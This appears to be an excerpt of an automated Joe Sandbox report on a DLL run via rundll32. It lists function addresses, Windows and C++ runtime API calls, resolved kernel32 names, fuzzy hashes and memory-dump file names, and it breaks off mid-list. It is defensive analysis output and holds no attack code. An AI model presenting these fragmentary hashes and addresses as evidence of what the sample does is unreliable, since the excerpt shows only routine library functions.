Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Crypt$ContextErrorExceptionFileHeaderLastRaiseRandomRelease
String ID: CryptGenRandom
API String ID: 3931889421-3616286655
Opcode ID: 229e9aba558137cf0ba25e6bb02f3f2ddfa46c474eb7439a23272a44c17f60ab
Instruction ID: d5469908657e2fb250522eb052136eb09b60f6b9dfd77d330948f72ea2ce8703
Opcode Fuzzy Hash: 229e9aba558137cf0ba25e6bb02f3f2ddfa46c474eb7439a23272a44c17f60ab
Instruction Fuzzy Hash: B1316721719A43C1EB60DF15E460BB9A361FB84790F845535DAAD4B6FDDF3CD5058700

Function 00007FFDFB647610 Relevance: 3.1, APIs: 2, Instructions: 59
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptReleaseContext.ADVAPI32 ref: 00007FFDFB647687
_Init_thread_footer.LIBCMT ref: 00007FFDFB6476F1

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: ContextCryptInit_thread_footerRelease
String ID:
API String ID: 1427515656-0
Opcode ID: 15f04717a3904b42e09dddc42d3511d09cb4f0b0e6f60923730267defee83ce7
Instruction ID: df4b77652593098f5124b01bcd19d4fe8c40863016393c25aadaa64a2c2c555c
Opcode Fuzzy Hash: 15f04717a3904b42e09dddc42d3511d09cb4f0b0e6f60923730267defee83ce7
Instruction Fuzzy Hash: 19210921B0BF43C1EB549B19E8B0A7433A1AF45B94F689236D96D0A7F9DF3CE9548700

Function 00007FFDFB6B40C4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,00000000,00007FFDFB6B4A30,?,?,?,?,00007FFDFB6A8F62), ref: 00007FFDFB6B4243
GetProcAddress.KERNEL32(?,?,00000000,00007FFDFB6B4A30,?,?,?,?,00007FFDFB6A8F62), ref: 00007FFDFB6B424F

Strings

ext-ms-, xrefs: 00007FFDFB6B41A0
api-ms-, xrefs: 00007FFDFB6B418D

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 0929853b1e3a0186ff0999014bc3dd12fb88980c69b37ebc13d0f4e1a3ad8b41
Instruction ID: 58e91b8c2453f9425b6f7bd7a2fa1c4c48dcb6bf37af1279119aca772a18dcbe
Opcode Fuzzy Hash: 0929853b1e3a0186ff0999014bc3dd12fb88980c69b37ebc13d0f4e1a3ad8b41
Instruction Fuzzy Hash: AA41CE61B2A60381EB15DB16AC24AB563A1BF15BE0F088135DD2D8FBECEE3CE405C700

Function 00007FFDFB666E78 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE ref: 00007FFDFB666E81

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: ec84852fa5c37ed2c41767ae37a80303da2f888bf8ef63e02bbedfb497092679
Instruction ID: 2f47aa819ac910f6fa40215f005475c32c90494829edf1af8c426e226f857a95
Opcode Fuzzy Hash: ec84852fa5c37ed2c41767ae37a80303da2f888bf8ef63e02bbedfb497092679
Instruction Fuzzy Hash: 32B09266B198C1C3D611FB04E8524297331FB94B09FD00021E28D42A68CE2CDA2A8E00

Function 00007FFDFB6B3F60 Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FFDFB6B254A,?,?,?,00007FFDFB6A5A45,?,?,?,?,00007FFDFB6B400C), ref: 00007FFDFB6B3FB5

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: ebdf71951fdf26607a7426dbcbc24e01e8e225dc74094111906b56f2bd1459c7
Instruction ID: af3139da72b99f2bc68485b1edfafc3fba98582c5321b5bb5b1a6c2faa808631
Opcode Fuzzy Hash: ebdf71951fdf26607a7426dbcbc24e01e8e225dc74094111906b56f2bd1459c7
Instruction Fuzzy Hash: DFF0B444B4B30380FF54ABA59871BB452B89F85B80F8C8430CD3E8E7FADE2CE4808610

Non-executed Functions

Function 00007FFDFB66CD2C Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 169libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FFDFB66CD39
GetProcAddress.KERNEL32 ref: 00007FFDFB66CD4C
GetProcAddress.KERNEL32 ref: 00007FFDFB66CD63
GetProcAddress.KERNEL32 ref: 00007FFDFB66CD7A
GetProcAddress.KERNEL32 ref: 00007FFDFB66CD91
GetProcAddress.KERNEL32 ref: 00007FFDFB66CDA8
GetProcAddress.KERNEL32 ref: 00007FFDFB66CDBF
GetProcAddress.KERNEL32 ref: 00007FFDFB66CDD6
GetProcAddress.KERNEL32 ref: 00007FFDFB66CDED
GetProcAddress.KERNEL32 ref: 00007FFDFB66CE04
GetProcAddress.KERNEL32 ref: 00007FFDFB66CE1B
GetProcAddress.KERNEL32 ref: 00007FFDFB66CE32
GetProcAddress.KERNEL32 ref: 00007FFDFB66CE49
GetProcAddress.KERNEL32 ref: 00007FFDFB66CE60
GetProcAddress.KERNEL32 ref: 00007FFDFB66CE77
GetProcAddress.KERNEL32 ref: 00007FFDFB66CE8E
GetProcAddress.KERNEL32 ref: 00007FFDFB66CEA5
GetProcAddress.KERNEL32 ref: 00007FFDFB66CEBC
GetProcAddress.KERNEL32 ref: 00007FFDFB66CED3
GetProcAddress.KERNEL32 ref: 00007FFDFB66CEEA
GetProcAddress.KERNEL32 ref: 00007FFDFB66CF01
GetProcAddress.KERNEL32 ref: 00007FFDFB66CF18
GetProcAddress.KERNEL32 ref: 00007FFDFB66CF2F
GetProcAddress.KERNEL32 ref: 00007FFDFB66CF46
GetProcAddress.KERNEL32 ref: 00007FFDFB66CF5D
GetProcAddress.KERNEL32 ref: 00007FFDFB66CF74
GetProcAddress.KERNEL32 ref: 00007FFDFB66CF8B
GetProcAddress.KERNEL32 ref: 00007FFDFB66CFA2
GetProcAddress.KERNEL32 ref: 00007FFDFB66CFB9
GetProcAddress.KERNEL32 ref: 00007FFDFB66CFD0
GetProcAddress.KERNEL32 ref: 00007FFDFB66CFE7
GetProcAddress.KERNEL32 ref: 00007FFDFB66CFFE
GetProcAddress.KERNEL32 ref: 00007FFDFB66D015
GetProcAddress.KERNEL32 ref: 00007FFDFB66D02C
GetProcAddress.KERNEL32 ref: 00007FFDFB66D043
GetProcAddress.KERNEL32 ref: 00007FFDFB66D05A
GetProcAddress.KERNEL32 ref: 00007FFDFB66D071
GetProcAddress.KERNEL32 ref: 00007FFDFB66D088
GetProcAddress.KERNEL32 ref: 00007FFDFB66D09F
GetProcAddress.KERNEL32 ref: 00007FFDFB66D0B6
GetProcAddress.KERNEL32 ref: 00007FFDFB66D0CD

Strings

FlsGetValue, xrefs: 00007FFDFB66CD69
InitOnceExecuteOnce, xrefs: 00007FFDFB66CDAE
CompareStringEx, xrefs: 00007FFDFB66D08E
SetThreadpoolWait, xrefs: 00007FFDFB66CE7D
WakeAllConditionVariable, xrefs: 00007FFDFB66CFA8
WakeConditionVariable, xrefs: 00007FFDFB66CF91
WaitForThreadpoolTimerCallbacks, xrefs: 00007FFDFB66CE38
SubmitThreadpoolWork, xrefs: 00007FFDFB66D060
ReleaseSRWLockExclusive, xrefs: 00007FFDFB66D01B
InitializeCriticalSectionEx, xrefs: 00007FFDFB66CD97
GetSystemTimePreciseAsFileTime, xrefs: 00007FFDFB66CF63
LCMapStringEx, xrefs: 00007FFDFB66D0BC
FlushProcessWriteBuffers, xrefs: 00007FFDFB66CEAB
GetCurrentPackageId, xrefs: 00007FFDFB66CF07
InitializeConditionVariable, xrefs: 00007FFDFB66CF7A
SetFileInformationByHandle, xrefs: 00007FFDFB66CF4C
GetCurrentProcessorNumber, xrefs: 00007FFDFB66CED9
CreateSemaphoreExW, xrefs: 00007FFDFB66CDF3
CreateSymbolicLinkW, xrefs: 00007FFDFB66CEF7
CreateSemaphoreW, xrefs: 00007FFDFB66CDDC
CreateThreadpoolWork, xrefs: 00007FFDFB66D049
CloseThreadpoolTimer, xrefs: 00007FFDFB66CE4F
FreeLibraryWhenCallbackReturns, xrefs: 00007FFDFB66CEC2
GetLocaleInfoEx, xrefs: 00007FFDFB66D0A5
CloseThreadpoolWork, xrefs: 00007FFDFB66D077
FlsSetValue, xrefs: 00007FFDFB66CD80
FlsAlloc, xrefs: 00007FFDFB66CD42
InitializeSRWLock, xrefs: 00007FFDFB66CFD6
SleepConditionVariableCS, xrefs: 00007FFDFB66CFBF
SleepConditionVariableSRW, xrefs: 00007FFDFB66D032
CreateThreadpoolTimer, xrefs: 00007FFDFB66CE0A
CreateEventExW, xrefs: 00007FFDFB66CDC5
kernel32.dll, xrefs: 00007FFDFB66CD32
AcquireSRWLockExclusive, xrefs: 00007FFDFB66CFED
TryAcquireSRWLockExclusive, xrefs: 00007FFDFB66D004
FlsFree, xrefs: 00007FFDFB66CD52
CreateThreadpoolWait, xrefs: 00007FFDFB66CE66
SetThreadpoolTimer, xrefs: 00007FFDFB66CE21
CloseThreadpoolWait, xrefs: 00007FFDFB66CE94
GetFileInformationByHandleEx, xrefs: 00007FFDFB66CF35
GetTickCount64, xrefs: 00007FFDFB66CF1E

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: b004afe9ea59f86b6f2fef8b0f907832d682ceb8c25cdf0362d58309172329ff
Instruction ID: dd9110cc80209c15afdc2fb6031497adde345d52e59d81fcbf8b8ba975801ede
Opcode Fuzzy Hash: b004afe9ea59f86b6f2fef8b0f907832d682ceb8c25cdf0362d58309172329ff
Instruction Fuzzy Hash: B4A1A265B0AF0385EB04AF56BC7487473A4FB49B86B845132D8AD4B6B8EF7CA0558380

Function 00007FFDFB67DC30 Relevance: 81.8, APIs: 54, Instructions: 808COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67DC8A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67DCB3
_Getctype.LIBCPMT ref: 00007FFDFB67DCE7
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67DD42
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67DD6B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67DDAE
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67DDD7
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67DE16
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67DE3F
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67DE7B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67DEA4
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67DEE3
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67DF0C
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67DF49
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67DF72
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67DFD0
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67DFF9
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67E054
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67E07D
_Getcoll.LIBCPMT ref: 00007FFDFB67E0B1
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67E0DD
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67E106
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67E149
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67E172
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67E21D
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67E246
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67E2EC
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67E315
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67E3B9
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67E3E2
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67E440
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67E469
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67E4AC
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67E4D5
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67E541
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67E56A
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67E5B1
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67E5DA

Part of subcall function 00007FFDFB67C2E4: _Getvals.LIBCPMT ref: 00007FFDFB67C360

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67E641
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67E66A
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67E6AA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67E6D3
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67E759
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67E782
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67E7C9
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67E7F2
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67E869
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67E892

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$GetcollGetctypeGetvals
String ID:
API String ID: 553569086-0
Opcode ID: f71808db179cea37c1dae669f637c53ca0833abcc458acc383629f002ab1d17a
Instruction ID: 7b69bec08c6884bc7a2880fb5f240be6b1b3b0635046dfa3fce966507608e6c2
Opcode Fuzzy Hash: f71808db179cea37c1dae669f637c53ca0833abcc458acc383629f002ab1d17a
Instruction Fuzzy Hash: F8825921B1BB4385EB419B20E860AB977A5FF54784F184136E9AE8A7FDDF3CE5418340

Function 00007FFDFB67CF88 Relevance: 81.8, APIs: 54, Instructions: 808COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67CFE2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D00B
_Getctype.LIBCPMT ref: 00007FFDFB67D03F
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D09A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D0C3
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D106
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D12F
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D16E
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D197
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D1D3
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D1FC
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D23B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D264
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D2A1
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D2CA
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D328
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D351
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D3AC
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D3D5
_Getcoll.LIBCPMT ref: 00007FFDFB67D409
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D435
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D45E
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D4A1
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D4CA
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D575
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D59E
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D644
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D66D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D711
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D73A
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D798
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D7C1
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D804
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D82D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D899
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D8C2
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D909
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D932
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67D999
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67D9C2
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67DA02
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67DA2B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67DAB1
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67DADA
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67DB21
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67DB4A
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB67DBC1
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB67DBEA

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$GetcollGetctype
String ID:
API String ID: 19648113-0
Opcode ID: 5b822d3b5b0dd049a0d1c0f3bf6308312aa59cc2ec4acbcfd37c4004ef0d709c
Instruction ID: d7dec9d93c6bd8ef0cc07cb01d8dc9c3bb64b2967c0efcd165c929ebc725e6de
Opcode Fuzzy Hash: 5b822d3b5b0dd049a0d1c0f3bf6308312aa59cc2ec4acbcfd37c4004ef0d709c
Instruction Fuzzy Hash: 0A825E61B0BB4385EB419B10E860AB977A1FF44784F184636E9AE5B6FDDF3CE5418340

Function 00007FFDFB66B41E Relevance: 33.3, APIs: 22, Instructions: 306COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB66B439
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB66B462
_Getctype.LIBCPMT ref: 00007FFDFB66B496
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB66B4D2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB66B4FB
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB66B53E
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB66B567
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB66B5A5
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB66B5CE
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB66B60A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB66B633
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB66B66D
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB66B696
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB66B6D3
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB66B6FC
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB66B759
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB66B782
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB66B7C4
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB66B7ED
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB66B827
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB66B850
_Yarn.LIBCPMT ref: 00007FFDFB66B8BA

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
